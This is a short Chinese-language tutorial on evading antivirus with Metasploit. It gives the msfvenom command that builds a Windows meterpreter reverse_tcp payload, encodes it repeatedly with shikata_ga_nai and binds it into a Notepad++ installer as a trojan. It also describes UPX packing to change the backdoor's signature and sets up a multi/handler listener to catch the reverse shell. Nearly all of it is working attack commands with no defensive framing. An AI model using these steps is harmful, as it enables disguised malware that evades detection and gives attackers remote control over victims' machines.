MSF编码:
在 Meatsploit 框架下免杀的方式之一就是使用MSF编码器。其功能是对攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。MSF 编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,MSF 编码器会将原始程序解码到内存中并执行。
在kali终端输入msfvenom -l encoders列出所有可用编码格式:
选择x86/shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.135 LPORT=9000 -e x86/shikata_ga_nai -x /root/Desktop/npp.8.5.3.Installer.x64.exe -i 12 -f exe -o /root/Desktop/npp.Installer.64.exe
参数 备注
-e 指定编码方式对攻击载荷进行重新编码
-x 指定木马捆绑在哪个可执行程序模版上
-i 指定对目标进行编码的次数,多次编码理论上来讲有助于免杀
-f 指定MSF编码器输出的程序的格式
-o 指定处理完毕后的文件输出路径
UPX加壳:
upx 打包器的原理非常简单,就是将可执行文件中的代码和数据进行压缩,然后将解压缩用的代码附加在前面,运行的时候先将原本的可执行数据解压出来,然后再运行解压缩后的数据。打包器的本质目的是反调试,防止逆向工程,而这里使用打包器的目的是为了改变后门程序的特征码
exploit/multi/handler模块简介
msf>use exploit/multi/handler
#使用exploit/multi/handler监听连入的backdoor
msf exploit(handler)>set payload windows/meterpreter/reverse_http
#设置对应的payload。
Msf exploit(handler)>show options
#显示所有的设置如果需要的话,可能还需要将LHOST,LPORT,设置成与payload中相同的地址和端口。
设置监听反弹
msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.200.132
set lport 9000
run